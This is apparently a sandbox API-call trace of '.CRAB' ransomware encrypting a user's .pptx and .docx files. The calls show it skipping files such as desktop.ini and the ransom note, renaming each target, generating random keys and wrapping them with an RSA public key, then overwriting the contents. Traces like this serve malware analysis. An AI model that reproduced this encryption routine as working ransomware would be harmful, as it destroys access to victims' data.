	[0126.610] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\oikll7qug0rrum-.pptx")) returned 0x20
	[0126.610] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx", dwFileAttributes=0x20) returned 1
	[0126.610] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\oikll7qug0rrum-.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\oikll7qug0rrum-.pptx.crab")) returned 1
	[0126.611] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.611] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB"
	[0126.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB.CRAB"
	[0126.611] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0126.612] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.612] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.613] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.613] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.613] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.613] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.613] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.614] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.614] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.614] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.614] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.614] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.615] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.615] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0126.615] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318eaf8) returned 1
	[0126.618] CryptGetKeyParam (in: hKey=0x318eaf8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.618] CryptEncrypt (in: hKey=0x318eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.618] GetLastError () returned 0x0
	[0126.618] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.618] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0126.619] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e6f8) returned 1
	[0126.619] CryptGetKeyParam (in: hKey=0x318e6f8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.619] CryptEncrypt (in: hKey=0x318e6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.619] GetLastError () returned 0x0
	[0126.619] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.619] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\oikll7qug0rrum-.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.683] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.683] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.683] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0x186a9, lpOverlapped=0x0) returned 1
	[0126.695] VirtualAlloc (lpAddress=0x0, dwSize=0x186b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.697] VirtualAlloc (lpAddress=0x0, dwSize=0x186b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.699] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.700] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffe7957, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.700] WriteFile (in: hFile=0x3f0, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x186b0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314bf0c*=0x186b0, lpOverlapped=0x0) returned 1
	[0126.700] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.701] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.705] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.705] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.705] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.705] CloseHandle (hObject=0x3f0) returned 1
	[0126.705] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.705] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.706] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.706] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.706] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.706] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.707] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.707] lstrcmpW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2=".") returned 1
	[0126.707] lstrcmpW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="..") returned 1
	[0126.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="OOXw bnNcCQq9 De_Y4.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx"
	[0126.707] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.707] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx") returned 90
	[0126.707] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx") returned 90
	[0126.707] lstrlenW (lpString=".docx") returned 5
	[0126.707] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.707] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0126.707] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx") returned 90
	[0126.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx") returned 90
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="desktop.ini") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="autorun.inf") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="ntuser.dat") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="iconcache.db") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="bootsect.bak") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="boot.ini") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="ntuser.dat.log") returned 1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="thumbs.db") returned -1
	[0126.708] lstrcmpiW (lpString1="OOXw bnNcCQq9 De_Y4.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.708] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.708] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB") returned 95
	[0126.708] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\ooxw bnnccqq9 de_y4.docx")) returned 0x20
	[0126.708] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx", dwFileAttributes=0x20) returned 1
	[0126.709] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\ooxw bnnccqq9 de_y4.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\ooxw bnnccqq9 de_y4.docx.crab")) returned 1
	[0126.710] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.710] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB"
	[0126.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB.CRAB"
	[0126.710] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6eb78) returned 1
	[0126.711] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.711] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.711] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.711] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.711] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.711] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0126.712] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.712] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.712] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.712] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0126.712] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.713] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.713] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.714] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0126.714] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318eb38) returned 1
	[0126.714] CryptGetKeyParam (in: hKey=0x318eb38, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.714] CryptEncrypt (in: hKey=0x318eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.714] GetLastError () returned 0x0
	[0126.715] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.715] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0126.715] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e778) returned 1
	[0126.715] CryptGetKeyParam (in: hKey=0x318e778, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.715] CryptEncrypt (in: hKey=0x318e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.715] GetLastError () returned 0x0
	[0126.715] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.716] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OOXw bnNcCQq9 De_Y4.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\ooxw bnnccqq9 de_y4.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.716] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.716] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.716] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0x9c00, lpOverlapped=0x0) returned 1
	[0126.727] VirtualAlloc (lpAddress=0x0, dwSize=0x9c00, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.727] VirtualAlloc (lpAddress=0x0, dwSize=0x9c00, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.728] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.729] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff6400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.729] WriteFile (in: hFile=0x3f0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314bf0c*=0x9c00, lpOverlapped=0x0) returned 1
	[0126.729] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.730] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.733] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.734] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.734] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.734] CloseHandle (hObject=0x3f0) returned 1
	[0126.734] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.734] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.734] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.735] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.735] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.735] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.735] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.735] lstrcmpW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2=".") returned 1
	[0126.735] lstrcmpW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="..") returned 1
	[0126.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="Uzf7Bg2vzl5EDNKaua.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx"
	[0126.735] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.736] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx") returned 89
	[0126.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx") returned 89
	[0126.736] lstrlenW (lpString=".pptx") returned 5
	[0126.736] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.736] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0126.736] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx") returned 89
	[0126.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx") returned 89
	[0126.736] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="desktop.ini") returned 1
	[0126.736] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="autorun.inf") returned 1
	[0126.736] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="ntuser.dat") returned 1
	[0126.736] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="iconcache.db") returned 1
	[0126.737] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="bootsect.bak") returned 1
	[0126.737] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="boot.ini") returned 1
	[0126.737] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="ntuser.dat.log") returned 1
	[0126.737] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="thumbs.db") returned 1
	[0126.737] lstrcmpiW (lpString1="Uzf7Bg2vzl5EDNKaua.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.737] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.737] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx.CRAB") returned 94
	[0126.737] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\Uzf7Bg2vzl5EDNKaua.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\uzf7bg2vzl5ednkaua.pptx")) returned 0x20
